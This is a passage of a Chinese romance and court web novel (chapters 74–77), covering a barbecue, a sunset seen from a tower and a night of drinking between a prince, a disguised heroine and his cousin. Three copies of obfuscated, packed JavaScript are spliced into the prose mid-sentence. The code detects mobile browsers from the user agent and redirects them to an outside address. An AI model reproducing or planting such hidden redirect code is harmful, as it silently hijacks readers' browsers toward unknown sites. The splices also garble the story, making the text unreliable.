他知晓她隐藏在平静自然外表下的绝对自信,面对外人,她始终都是一副文质彬彬、温文有礼的模样。 这样的人最好说话,因为不管你说什么,她都不会动气;同时这样的人也最难说话,因为她往往不会与人交心,更加不会交浅言深,遑论是发自内心地,真正地去佩服另一个人? 除了自己以外,贺渊还是林翊所知的第一个得阿言如此高评价的年轻人,这让林翊心中莫名生起一股微酸的情绪,他知道这种情绪从何而来,也知道自己如此太过无理,却又无法控制内心酸涩泛滥。 叶青言这时的心情很好,所以并未注意到林翊的情绪变化。 闻言,叶青言笑着说道:“别的不说,跟他一起上路确实非常愉快,嘉言公子游遍大川,他去过很多地方,见过很多,懂得也多,无论行程还是吃住,都能安排的妥妥当当,与他同路,很是省心。” 听着叶青言对贺渊的夸赞,以及她面上那柔和的微笑,林翊只觉心中越加酸涩,同时还升起一股强烈的不适来。 可林翊哪里知道,叶青言面上的微笑,并非因为贺渊,而是因为他林翊。 因着金陵城里那位黑衣暗卫的缘故,叶青言一直疑心林翊安排了暗卫一路保护她南下,这让身负巨大秘密的她有种身体和心灵上的所有一切都无所遁形的不安全感。 直到这一刻,与对方聊起南下的一路见闻,叶青言才终于确认对方并没有派遣暗卫暗中跟着她,她的秘密没有暴露的风险。 这让叶青言感到安心,放松心神后,她脸上的表情自然也变得更加柔和起来。 “不过不知为何,有一天夜里,他突然就不告而别了。”叶青言颇有些惋惜道。 林翊:“不告而别?” 叶青言点头:“突然就先离开了,只言片语未留,只让客栈伙计告知了一声。许是家中出了什么急事吧。” “你不好奇?”林翊问道,双目一眨不眨地看着叶青言。 “我为什么要好奇?”叶青言奇怪地看了林翊一眼,“我与他,不过萍水相逢,缘来时聚,缘去时散,何须深究。” 听了这话,林翊心中那点子不痛快顿时烟消云散,笑着道:“确实不用,又不是什么紧要之人。” 看着林翊脸上突然扬起的笑容,叶青言更纳闷了,突然这么开心? 林翊没有解释,只又笑了一笑,眼梢处隐隐还有抹小得意。 旁边忽得有糊焦的味道传来,两人下意识朝烤架那边看去。 那边的沈昭正手忙脚乱地烤着鸡。 两人同时收回目光,相识一眼,双双失笑,而后继续交谈了起来。 “回程时,我随镖队经过沧州地界,在那遇上了一伙山匪。”叶青言突轻声说道。 “沧州境内怎么会有山匪?”林翊皱眉,沧州距离京师极近,若有匪寇朝廷焉会不知。 叶青言看着林翊:“且看镖局的反应,那群山匪似乎已在那盘踞许久,观其衣着武器皆非寻常。” 距离京城不远的沧州境内竟隐藏着一支装备齐全的山匪。 光是想想,林翊就觉得脚底心窜起一股寒意,浑身的汗毛都竖了起来。 “你是怀疑……” 林翊虽没将话说尽,叶青言却也能够领会他的话中之意,严肃地点了点头:“我怀疑有人暗中养寇。” 林翊闭了闭眼,沉吟片刻,说道:“此事我会着人去查,你不必挂心,当务之急还是备考春闱。” “我明白。”叶青言颔首,想了想,道,“您放心,我不会让您失望的。” 没有任何迟疑的,叶青言这话说得平静自然,理所当然,这种全无来由的自信,在旁人看来可笑至极,可落在林翊耳中却是理应如此。 “嗯,我等着你金榜题名。”林翊笑说道。 “其实,我有过一阵恍然,在与嘉言公子交流之后。”想到那一路上贺渊所展现出的才学,叶青言心中升起一抹敬佩。 林翊能明白她的感受,他没有安慰她,而是说道:“无论如何,能与贺渊这样的不世天才一番交谈,对你而言也是有好处。” 叶青言细细一想,道:“您说的不错,不仅贺渊,此番南下,我亦接触了其他好多学者,不出京都,真的很难发现,世间竟有这么多厉害的少年人。” “你也很厉害,至少你口中那些厉害的少年还得特意请教你问题。”林翊说道,他一点也避讳,自己已然知晓对方在金陵城内的所有事情。 对此,叶青言早有预料,因而并不如何吃惊。 她笑了笑,说道:“我觉得这句话也可以用来说殿下您。” “我本来就是这个意思。” “……” “怎么了?” “没什么。” 恰此时,有阳光透过层层树叶落下来,有一缕正正好打在林翊的脸上,光影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277530|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,那双英气逼人的眼低垂着,眼中含笑,长睫根根分明。 叶青言定定看着,一时有些失神。 林翊也在看着叶青言,看着看着,他突然伸手碰了碰叶青言的面颊。 叶青言瞳孔骤然缩紧,震惊的完全说不出话来,像个傻子一样,微张着嘴。 看着对方眼里的震惊,林翊心里有着无法与人言说的惘然和……喜悦。 “你这儿沾了些酱汁。”林翊面不改色道。 原是沾了酱汁……叶青言恍然大悟,有些慌乱地拿出帕子擦拭,面颊微有些红,她对自己刚刚盯着殿下看得举动很是唾弃。 “有劳殿下。” 气氛突然变得有些暧昧起来。 但这暧昧的气氛并没有维持太久,因为沈昭跑了过来,手里还拿着只不知熟没熟透的,有些乌焦的烤鸡。 “鸡烤好了,你们快来尝尝。”沈昭举着手里的烤鸡,兴冲冲道。 这是……烤鸡?叶青言瞪大眼看着沈昭手里的所谓烤鸡,而后艰难地转过头望向林翊,以眼神询问:这真的是烤鸡? 林翊肯定地点了点头:这就是烤鸡。 叶青言:难怪您刚刚让我慎重别吃。 沈昭将烤鸡往两人中间一递:“你们别眉来眼去了,快尝尝啊。” 林翊看了眼面前的烤鸡,眼皮一跳:“你想谋杀?” “什么谋杀!”沈昭闻言怒了,这可是他好不容易烤好的鸡!当即据理力争道,“你这样说也太侮辱我的鸡了,你别看它外表不怎么样,吃一口,香不死你。” 林翊呵呵一笑,拒绝的毫不留情:“不吃。” 沈昭冷哼:“不吃拉倒,阿言我们吃!” 叶青言当然也不想吃,道:“可我已经吃饱了。” 沈昭不依不饶:“你饱了也得吃!”说着就要给叶青言掰下一条鸡腿。 他一掰,没掰动。 再用力一掰,还是没掰下来,反而将整只鸡都扯了下来,同时一股红红的液体滋了他满脸。 沈昭:“……” 林翊眼疾手快地将叶青言往自己方向一带,堪堪避开血水。 气氛一时有些凝固。 叶青言好心解释:“骨头还连着筋,这鸡……还没熟透。” 这鸡不会真不能吃吧?沈昭心虚。 不!沈昭绝不承认,他冷冷笑了一声,抓起烤鸡就咬了一口。 焦味混着生味席卷口腔……是真的难吃,也确实没熟。 “呸呸呸。”沈昭当即吐了起来,脸上随之露出痛苦的表情。 林翊同叶青言对视一眼,两人都从对方脸上看到了一言难尽。 “我都烤这么久了,表皮都黑了,居然还不熟?”沈昭不敢置信。 林翊看他那痛苦不堪又不敢相信的脸,是又好气又好笑:“都说了你没有这个天赋,你非不听。” “你不许笑。”沈昭咬牙,他很生气,再笑,他可就要闹了! 话音落下,旁边突地传出一声清脆的笑声。 “哈哈哈哈哈。” 这笑声出自叶青言。 “阿言你……你你……”沈昭跳脚,“我都这样了,你怎么还笑得出来!” “对不起对不起,我实在忍不住。”本就靠着林翊的叶青言,直笑得歪倒在林翊怀里,上气不接下气。 林翊不动声色地伸手揽住对方的腰。 “表哥你看阿言她!”沈昭指着叶青言告状。 林翊忍着笑给沈昭递了块帕子:“你先擦擦。” 看沈昭脸上又是油又是血的,林翊补了一句:“擦完扔了。” 接过帕子正往脸上怼的沈昭:“……我警告你们不要太过分了,不然我要闹了!” “哈哈哈哈……” 75. 第 75 章 白昼晴暖,然随着时间流逝,夹在风中的寒意渐渐变得肆意起来。 太阳尚未落下,金灿的阳光却已被周围高耸的亭台楼阁遮去光辉。 寒意越重。 在庭院的阳光尽数消失之前,林翊一脸神秘地邀请叶青言去往一个地方。 “去哪儿?”叶青言好奇。 “到了你就知道了。”林翊笑着说道。 沈昭见状也是奇怪,这皇子府里还有什么有趣的地方是他不知道的? 两人带着好奇,跟在林翊身后穿梭前行。 走着走着,沈昭就知晓林翊要带叶青言去的地方了,不由嘴角微抽,心中更是吐槽连连。 又不是恋人,干嘛特意去那个地方! 再说了,哪个男子会特意带好兄弟去那地方,那种诗情画意的场所难道不该带娇软的美人前去,好花前月下,风花雪月? 二表哥也真是,不管有点什么都要拉到阿言面前显摆……等等! 不知想到了什么,沈昭突然停下脚步,两只眼睛瞪得大大的。 二表哥他……他不会是看上阿言了吧? 这个认知,简直比五雷轰顶还要让沈昭觉得震惊。 可顺着这个念头回想,沈昭发现林翊的很多行为就都说得通了。 这这这…… 不不不,一定是我想多了! 表哥看上阿言?怎么可能! 都是一起长大的好兄弟,表哥怎么可能会对阿言有那样的想法! 一定是自己想太多了,对,一定是的! 都怪母亲,没事总拉自己陪她听戏,听多了儿女情长段子,导致自己看什么都奇奇怪怪。沈昭实打实地寻思了半天,这才灵光一闪,恍悟得一敲手掌。 这厢沈昭还因为脑中的天人交战而呆愣在原地。 走在前方的两人却是完全没有注意到他的掉队,两人依旧轻声交谈着继续往前。 虽是早春,花园里好些从皇家园林移栽过来的花草却已灼灼绽放,绿植成茵,溪水九曲,春花娇艳。 “那是楝花?”叶青言指着前方不远的其中一株花木诧异道,“这个时节,怎么会有楝花?” “府里的水流都是从煦阳湖流入的,煦阳湖由热泉汇集而成,水温偏高,所以四周的花木也会开的早些。” “从煦阳湖来的水?”叶青言望着脚下水流,再次惊讶,据她所知煦阳湖面并没有出水口。 “地下通道。”林翊没有让叶青言惊讶太久。 “传闻世宗为炼仙丹所建的那条?” 林翊点头。 叶青言有些唏嘘:“野史记载居然是真的。” “一个为了修仙数十年不上朝的皇帝,又有什么是做不出来的。”林翊声音淡淡,听不出喜怒, 但叶青言却能感觉到他的怒气,她看了他一眼,没有继续这个话题,而是走下石桥,顺着旁边的一条木栈道往下。 这条木栈道就连着石桥,顺着栈道往下,能走到浅水池边。 阳光照耀着浅水,隐约可见有几尾黑色的鱼儿在游动。 站在最下面的那级木台上,叶青言挽起衣袖,把手伸进水里,而后略带惊讶地说道:“都说煦阳湖是由热泉汇集而成,可这水摸着怎么有些凉?” 林翊哪里听不出对方这是故意转移自己的注意力? 见她如此在意自己的心情,林翊很高兴,也顺着木栈道走了下去:“毕竟流经了地底,煦阳湖里的水要热很多,听说最热的两处热泉出口的水,可以直接煮熟鸡蛋。” 林翊说着,也蹲下身去拨池塘里的水,一阵凉寒顿时顺着指尖传入心田。 这么凉? 林翊一怔,随即抓住叶青言的手,将人拉起来。 “水冷,别碰。” 叶青言笑了笑:“不碍事的,比起寻常湖畔,这水已不算凉。” 微顿了顿,叶青言又笑说道:“您刚刚说的,听着很有意思,咱们要不要找机会去试一下?” 林翊拿帕子将叶青言手上的水痕擦拭干净,也笑着道:“有意思?就因为能煮熟鸡蛋?” 叶青言:“嗯,听着很省事很方便的感觉。” “那我们下次去试试。” “啊。”叶青言眨了眨眼,“其实我只是随便说说的。” 林翊:“可我是认真的。” “那好吧,咱们去就是了。” “这么勉强啊。” “不勉强啊,我真得想去。” “真得吗?” “特别真。” 两人又在木栈道上站了一会儿,才转身继续前行,嘴里有一搭没一搭地继续说着关于煦阳湖的一些传闻趣事。 很快,他们就来到位于二皇子府西面的一座阁楼之下。 阁楼很高,足有二十余米高,是府邸建成后,林翊特意吩咐匠作监按照他的要求另外改的,这座阁楼原来只有十余米高。 阁楼下,林翊望了眼远天,道:“时间差不多了,咱们上楼吧。” 听着林翊的话,叶青言更好奇了。 带着满肚子的好奇,叶青言顺着楼梯爬了上去。 待她登上阁楼顶部,就见一抹金灿正向着西边的群山奔落而去。 无定河在夕阳下流淌,从极高远的地方望过去,能很清楚的看见河流的全貌。 夕阳的光线落在如镜般的水面上,化作无数团火,仿佛燃烧的天空。 然不过片刻,那抹金灿便在阳光奔落的过程中转变成了金红,万丈霞光透过群山给整座京都披上一层五彩缤纷的璀璨晚霞,甚是壮观。 “可真好看啊。”叶青言站在栏边,望着眼前这片美丽的风景,由衷得发出了感叹。 “看见这景象的第一眼,我就想带你来看看。”林翊低声说道。 叶青言听罢一笑,道:“还记得您去年曾说的要带我去邙山看朝阳的事吗?” 林翊一怔,随即也想了起来,那是他们在清风观求画时的事情。 “等这次春闱结束,我就带你去看。”林翊承诺说道。 叶青言看了他一眼,揶揄道:“您不会是随便说的吧?” 林翊:“我又不是你。” 叶青言笑了起来,他们并肩站在栏边,看着远处的夕阳,随意地聊着天,然后渐渐没了声音。 他们安静了很长时间都没有说话,和平常人的安静不同,他们间的安静是美好而又温馨的。 不知过了多长时间,大约是站得累了,林翊二人坐到了旁边的椅子上。 斜阳西下,晚霞如梦,无定河上,水纹涟漪。 林翊不时侧目去看叶青言。 许是彻底放松的缘故,叶青言的身体微微后仰,用手撑着椅子,双脚轻轻地点着地面,看着很是可爱。 林翊看得心中一阵柔暖。 如果能够一直这样坐着就好了,前方有山,脚下有湖,上方是夺目的晚霞。 而你,就在身边。 然而,能够一直这样吗? 自然是不能的。 美丽的夕阳也没有停留太久。 不过片刻,金红的晚霞便慢慢淡了下去,随着最后一丝炙热洒落,天地间的光芒快速地消散着。 黑暗将临。 “太阳落山了。”林翊说道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282170|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶青言:“夕阳无限好,只是近黄昏。” “黄昏日日有,你若是想看,随时可以登楼观赏。”微顿了顿,林翊笑着说道,“我不是随便说的。” “哎呀,殿下您抢了我的话。” “我就知道你会说这个。” “是吗?那您也太了解我了。” “没有人比我更了解你。” 当一个人心情好的时候,无论说什么做什么都不会觉得厌烦,哪怕是把一个话题翻来覆去地说上三遍。 因为对他们来说,说话本身并不重要,重要的是说话的人。 可对于听众而言,要将意思相近的话听上这么多遍,确实是件极难忍受的事情。 不知何时追上来的沈昭这时就很难受,他觉得自己刚刚烤肉吃得太多了,很想吐。 他应该转身离开的,可他又不想走,明明都是兄弟,凭什么他要走开,于是他就这么一脸悲愤地杵在一旁,也不管另外两人知不知晓他的存在。 还是叶青言先注意到的他,问:“淮之怎么了?怎么一直不说话?” 终于意识到我一直没有说话了? 沈昭冷冷勾唇,摆出一副刚刚的我你爱答不理,现在的我你高攀不起的傲娇模样。 这会子的淮之已经不是你们叫的了,不好好给我道歉,看我还理不理你们! 哼! 可还没等沈昭摆足架子,就听林翊说道:“你还不知道淮之吗,他对风景一向没有兴趣,自然没有话说。” 沈昭:“……” 叶青言一怔,随即了然:“也是。” 也是什么也是!你们难道都不找找自己的原因?沈昭板着脸,还是那副傲娇模样,心下却在疯狂腹诽。 叶青言:“难为淮之你陪我们一起等这么久。” “那你打算怎么补偿我。”叶青言话音才落,就听沈昭急急说道。 不怪沈昭急迫,现实可由不得他在继续装深沉了,不然林翊非得在给他找个理由不可。 叶青言被沈昭这迫切的语气惊到,下意识看向林翊。 沈昭见状,挑衅似地也望向了林翊。 林翊一脸平静:“要什么补偿?” “你们刚刚无视我那么久,不得给我些补偿?” “我们堵住你嘴巴了?” “……”沈昭噎住,这是什么虎狼之词?不不不,这是很正常的一句话,一定又是我想多了! “看来是没有了。”林翊施施然摊手,见沈昭一脸便秘的表情,莫名道,“你这是什么表情?” “没……没什么。”还想据理力争的沈昭一听这个问题,一下子就蔫了,老老实实地闭了嘴,可不能让二表哥知道自己刚刚在想什么。 林翊也没再理他,转头问叶青言道:“天要暗了,夜里冷,咱们先回正屋吧。” 叶青言点头。 莫名心虚的沈昭也没有意见。 三人遂下了阁楼,往正院花厅走去。 正院花厅,林翊换来下人掌灯,又摆上茶点,三人这才分头落座。 听叶青言讲了一个午后的南游之事,这会儿轮到林翊给叶青言讲这一阵子朝中发生的几件大事,从引发众士子争论的开放海禁,到北边蛮夷秋末南下抢掠被阻,再到吏部尚书高颖因贪墨被皇帝罢官。 叶青言听得很认真,每一个事件她都牢牢地记在了心里,这些时事不仅于科考有益,对她将来的仕途也有助益。 沈昭再次不语,但他也没有打扰,沈小侯爷胡闹归胡闹,分寸还是有的,只见他舒舒服服地半靠在椅子上,手里端了碟糕点慢悠悠地吃着,完全不打扰林、叶两人说正事。 76. 第 76 章 待二人交谈完毕,时间已悄然来到戌初,林翊顺势留叶青言两人用饭。 晚饭是简单的八菜一汤,因为中午刚吃了烤肉的缘故,晚上的菜色便以时蔬、海鲜等为主,较为清淡。 林翊记得两人的口味,尤其是沈昭,从小挑食,带刺的鱼不吃,清苦的蔬菜不吃,为了这祖宗,林翊特意吩咐厨房做了他最喜欢的芋泥丸子和糖醋排骨。 果然,饭菜一端上来,沈昭的眼睛一下就亮了。 “这是特意为我准备的?” 林翊看了他一眼,没有否认。 沈昭眉开眼笑,拿起筷子就夹了一块排骨送进嘴里:“好吃!这糖醋排骨,还是得看表哥你府上厨子的手艺。” 林翊:“就这点出息。” 沈昭又吃了块排骨,哼道:“美食在前,还讲什么出息?跟你说了你也不懂。” 沈昭说罢,摆了摆手。 林翊:“吃喝有那么重要?” 沈昭:“吃喝虽不是生死,却高于生死。”微顿了顿,沈昭转头看向叶青言,“你说是吧阿言?” 叶青言将不带小刺的鱼腹整个夹到沈昭碗里,头也不抬道:“你说的都对。” 语气中的敷衍意味很浓。 沈昭也不介意,开开心心地吃起了碗里的鱼肉,这是鱼身上最鲜嫩好吃的部位,每回他们三人一起吃鱼,这个部位都是属于他的。 看在这块鱼肉和这盘糖醋排骨的份上,他决定原谅他们刚刚对自己的无视了。 “另一半鱼腹我也要。” 林翊和叶青言对视一眼,两人都在彼此眼中看到了无奈。 罢了,他高兴就好。 沈昭这人看似吊儿郎当,实则重情重义。 他很好说话,也没什么太大的志向。 用他自己的话说,就是他沈淮之文不能安邦,武不能定国,这辈子唯一的念想就是帮助二表哥林翊登上大位,然后借着这从龙之功混吃等死。 一直混吃等死! 带着阿言一起混吃等死。 最后他也确实做到了,当然叶青言并不想和他一起混吃等死,但这些都是后话。 眼下他们正一起愉快的用晚餐。 最后一口汤喝完,叶青言用茶水漱口,道:“天色不早,我就先回府了。” 林翊慢条斯理放下碗筷,抹净嘴巴,状似不经意道:“天色确实不早,走夜路不安全,阿言你不如就别回了,咱们数月未见,今夜抵足而眠,秉烛畅谈,岂不快哉?。” 叶青言听罢吃了一惊,忙道:“这不大妥当……” 林翊有点不高兴了:“有什么不妥当的?咱们相交多年还不曾秉烛夜谈过,如此良机怎能错过,还是说你嫌弃我话多,不想跟我秉烛夜谈?” “当然不是!”叶青言连忙否认,心中着急,却又无法言说。 抵足而眠?开什么玩笑…… “那就这么定了,我差人去国公府知会一声。” 叶青言:“等……” 没等叶青言把话说完,就听沈昭大声说道:“那我也不回去了,我也要抵足而眠,秉烛夜谈,我们三个人一起睡。” 林翊嘴角一抽:“我和阿言还有很多正是要说,你别胡闹。” 沈昭大大咧咧:“你们说你们的,我睡我的,放心,绝不打扰你们谈正事。” 这是重点? 重点是多了你这个人! 林翊咬牙,恨不能把某人从视线里撵出去,但这时候撵人显然已经太晚,于是便将目光投向了叶青言:“阿言你怎么说?” 叶青言:“……” 阿言并不想说,阿言只想回家。叶青言心想。她抬眸看了看两人,心下盘算着如何不着痕迹地拒绝。 说自己身体不适?显然不行。 那家中有事?可都出来一天了,一听就是个借口。 见叶青言迟迟不语,林翊皱眉:“怎么了?” 根本找不到理由拒绝,更别说是不着痕迹地拒绝了,叶青言死心了,但抵足而眠是不可能抵足而眠的。 就在这时,沈昭剥开一个橘子,递到叶青言的手上。 叶青言低头,看着手里黄橙橙的橘肉,心下当即有了主意,道:“就让淮之留下吧,走夜路不安全。” ……他沈淮之走的夜路还少? “对对对,不安全。”沈昭憋笑憋得十分辛苦,要对付表哥,还得是阿言出马啊。 林翊淡淡扫了沈昭一眼,脸上露出善解人意的笑容:“阿言说的是。” 他是绝对不会承认自己在嫉妒的! “我记得殿下迁府的时候,淮之给您送了几坛陈年的九酝春酒,今夜星光甚好,咱们难得齐聚,不如就开了吧。” 沈昭闻言一拍手掌:“好主意啊,抵足而眠有什么意思,不醉不归才好。” 如果目光可以杀人,沈昭大概已经被林翊犀利的目光给砍成了一段又一段,但林翊也知今夜是请不走这尊大佛了,只能妥协。 他狠狠咬一口嘴里沈昭刚刚剥开的橘肉,笑着对叶青言道:“原来你早就惦记上我的酒了,成吧,我让人去取来。” “什么你的酒,那是我的酒。”沈昭嚷嚷,明明是他的功劳。 林翊:“送我了就是我的。” “当初收酒的时候,你可不是这样说的。” 迎着林翊冷飕飕的目光,沈昭蹭蹭蹭地挤到叶青言身边,挑衅般地看了回去,现在是二对一,他才不怕! 春酒很快就送了上来,除去酒水,婆子们还很有眼色地送了几样佐酒的小菜上来。 没等林翊表示,沈昭就挥手将众人打发下去,并勒令他们今晚不许打扰,然后兴冲冲拍开坛口封泥,利落地倒上三杯酒。 封泥拍开的瞬间,酒香钻入鼻间,进而弥漫了整个屋子,颇有点未饮先醉的味道。 “这酒是我三叔前年特地差人从谯城那边带回来的,据说是埋了二十年的陈酒,你们尝尝看。” “这里头加了桂花?”闻着空气中隐隐散出的桂花清香,叶青言好奇问道。 沈昭点头:“对,不过这可不是桂花酒,而是正正经经的白酒,入口甘美醇和,回味经久不息,后劲极大。” “在春酒里加入秋季的桂花,这酿酒之人很有想法啊。”叶青言感叹。 完全没往这方面想的沈昭抽了抽嘴角:我看有想法的是你吧。 同样也有这种想法的林翊:“红英开遍满城春,桂花酿酒香满杯??,可见好酒知时节。” “夏制曲、秋收粮、冬入窖、春出酒,春酿如金也。” “阿言你何时也这么了解酒了?” “我一直很了解啊,书中记有酒中事,我看过那么多书。” “原来如此,倒是我疏忽了。” “殿下日理万机。” “再如何日理万机,你的事情我都应该放在心上。” 说罢两人相视一笑。 沈昭:我是谁,我在哪,我怎么又变多余了? 沈小侯爷不高兴地板起脸,见还是没人注意自己,又重重哼了一声。 “怎么啦?”叶青言闻声关切道。 沈昭控诉:“你们孤立我! 刚还真忘了淮之也在……叶青言有些尴尬,她冲沈昭笑了笑,说道:“都是我的错,忘了你不爱听这些。” “这已经是你们今天第二次孤立我了。” 沈昭的声音很淡,眼神也很淡,视线还是朝林翊去的。 林翊心虚地摸了摸鼻子,他很清楚沈昭说的第一次是什么时候。 早前去往阁楼观景那会儿,叶青言因是初次,而被四周景色震撼的没有注意到沈昭的掉队,可已见惯那些风景的林翊确实完完全全地注意到了。 这点沈昭清楚,林翊也清楚。 在场唯一不清楚的叶青言:“什么第二次孤立?” 沈昭看着林翊,哼哼冷笑。 看你怎么解释! 林翊轻咳一声:“这事儿吧,得怪我,总想着阿言你好不容易外出归来,得先顾着你点,从而忽视了淮之,作为主人家,如此确实不该,我自罚一杯,给淮之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286416|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你赔罪。” 林翊顾而言他,意欲将这话题揭过。 沈昭听罢呵呵一笑,不满的意思非常明显。 “那自罚三杯?” 沈昭拿起一颗花生:“您是皇子,我哪里敢罚您啊。” 哼,罚酒而已,说得跟谁稀罕似的。 你犯了错,你还有酒喝,所有便宜都被你占完了! 想得倒是美! 沈昭心中不断腹诽。 林翊见状,抬手拿过沈昭手里的花生,剥开,再将花生米递回他手上:“那一千两我再也不提了。” 沈昭闻言心中一喜,面上却还摆出一副不满的神情,鼓着脸,别过头,不说话。 能这样拿捏林翊的机会可不常有,他不能轻易放过。 咦? 怎么没声音了? 接着哄啊! 作为兄长你难道不知沈小爷我傲娇的很,是要人往死里哄的吗! 沈昭凝神听了一会,见身侧仍然没动静,猛得转过头去,便对上林翊那双似笑非笑的眼睛。 林翊嘴角噙着笑,双手抱着胸,好整以暇地看着他。林翊对沈昭的德性可谓了如指掌,自然知晓如何拿捏他,一千两这事足以令他让步。 沈昭:“……” 看什么看? 笑什么笑? 到底认没认识自己的错误! 这时叶青言突然问道:“一千两又是什么?” “这个啊……” 沈昭:“没什么!” 竞拍钱不够这种落面子的事情,能少一个人知道就少一个人知道,不然他多没面子! “好了,我原谅你们刚刚孤立我的事情了,来,喝酒。”说着沈昭举起了杯子。 叶青言看了林翊一眼。 林翊眨眨眼表示要给沈昭留些面子。 沈昭:“好了二位,别眉来眼去了,来干杯了。” 二位:“……” 三人纷纷举杯碰了一下,铛的一声,分外清脆。 酒水下肚,果然如沈昭说的那样入口甘美醇和,回味经久不息。 叶青言有意灌醉二人,席间频频劝酒,自己则趁两人不备偷偷往宽大的衣袖上倒了好些出来。 一杯接着一杯,不知不觉大半坛酒下去,酒的度数有些高,如此喝法,三人很快便昏昏欲醉起来。 尤其是林翊,他的酒量本就不比沈昭,又没有如叶青言那样作弊,俊秀的脸上很快潮红一片。 叶青言见状,拿起酒杯又去敬他。 实际上,叶青言已经用完了所有敬酒的理由,好在林翊这会儿醉得不轻,并没有将叶青言敬酒的理由听近耳朵。 “我喝完了。”林翊将酒杯翻转,目光灼灼地看着叶青言。 叶青言脸上也染了潮红,也不知是醉的,还是热的。 “殿下真厉害,再来一杯。” “好!”林翊应得爽快,他很高兴。 阿言一直敬我酒,而不敬淮之,她一定是喜欢我! “阿言,我好喜欢你啊。”林翊晕乎乎地说。 晕乎乎的叶青言听到了,笑着也道道:“嗯,我也喜欢殿下,我们再喝一杯。” “好!” …… 很快林翊就醉倒在旁边的罗汉床上。 沈昭见叶青言居然还没倒下,十分高兴,拉着她就要继续再喝。 “看不出来阿言你酒量这么好。”沈昭边说边打起了酒嗝,“来,我们干了。” 虽中途倒了一些,但总体叶青言也喝了不少,她现在的情况一点也不比林翊好,硬撑着又陪沈昭喝了几杯,意识渐渐模糊,便也顾不上灌不灌醉的事了。 “不行了,再喝我要吐了。”叶青言说罢,按着桌子起身,踉踉跄跄地也往罗汉床走去。 “你终于不行了,哈哈哈,我果然是最厉害的!”沈昭兴奋地大声嚷嚷,说着说着,声音渐渐变小,“还好小爷我坚持住了,不然就得输了,不行了,我也喝不了了,头好晕。” 说罢,便倒在了桌子上。 77. 第 77 章 约莫过了有两个时辰,口干舌燥的林翊迷迷瞪瞪地起来找水喝。 从罗汉床到桌子,中间不过两三步的距离,却被他走得歪七扭八,好不容易摸到桌子还被旁边的椅子绊了下腿,差点没摔了。 也幸好有这一绊,让林翊清醒了不少,不然他极有可能把桌上剩下的酒当水喝了。 茶水早已凉透,但林翊也顾不得这些,拿起茶盅就灌。 冷茶下肚,理智稍稍回笼,清醒点的林翊第一时间环顾四周,寻找叶青言的身影。 他首先看到趴在桌上熟睡的沈昭,闻着对方身上浓浓的酒味,林翊嫌弃地皱了皱鼻子,视线再转,便看到了如鹌鹑般缩在罗汉床角落的叶青言。 此时的叶青言乌发云乱,散落的几缕发丝乱糟糟地贴在她红扑扑的脸颊上,大约是睡得并不舒服,她的眉头一直皱着。 林翊见状心疼极了,赶紧过去将人从角落里挪出来,平放在罗汉床中央,在摆放叶青言衣袖的时候,一股浓烈的酒气铺面而至。 林翊不可置信地抓起叶青言宽大的摆袖。 屋里烧着地龙,所以气温不低,衣袖上的酒水早已干透,可上面残留的渍痕却是清晰可见。 “……” 林翊一时又是好气又是好笑,没忍住抬手刮了刮叶青言的鼻尖:“敢情你这酒都喝到衣服上了,真是个小机灵鬼。” 叶青言对此毫无知觉,许是变换了睡姿的缘故,她的眉心不再皱起,可她的双腿下意识又蜷缩了起来,人也随之缓缓侧卧,双手交叠着置于胸前,这是极度没有安全感的一种睡姿。 看着如此睡姿的叶青言,一股难以言说的哀愁突地涌上林翊心间。 是何事让你即便在睡梦之中也感到不安?你在想什么?在担心什么?忧虑什么?如果你的身上始终承载着即便睡梦中也无法摆脱的压力,那么醒着的时候,你为何又能那样平静从容? 相交多年,林翊其实能感觉到叶青言的心里是藏着事的,但他没有去问,不是他不好奇,而是他想听她自己坦白。 他希望有一天,他的阿言能主动将心里藏的事情告诉自己。 许是感应到林翊心中所想,叶青言突然睁开了眼睛。 对上叶青言美丽的眼睛,林翊有些紧张,有些失神。 他望着她的眼睛,稳了稳心神,正待说些什么,这双眼睛却又闭了起来,眼睛的主人再次昏沉睡去,紧紧置于胸前的双手随着眼睛的一睁一闭虚虚摊开,一直抿着的嘴角也微微上扬了些,她的心神似乎随着睁眼的动作松懈了好多。 是因为看到了我,你才如此放松心神的吗?心想至此,林翊内心一阵火热,他定定看着熟睡中的人儿。 月光透进房里,落下满地莹光。 天地是这样的安静,可林翊的心里却扑扑跳得很快。 他一直知晓叶青言有一副雌雄难辨的好皮囊。 所谓灯下看美人,犹胜三分色,烛火映着叶青言的脸,衬得她的五官愈发艳丽,大到身姿面容,小到指尖眉眼,无一处不丰姿冶丽?。 饶是林翊早知叶青言颜色,这般再看仍然觉得有些晃眼。 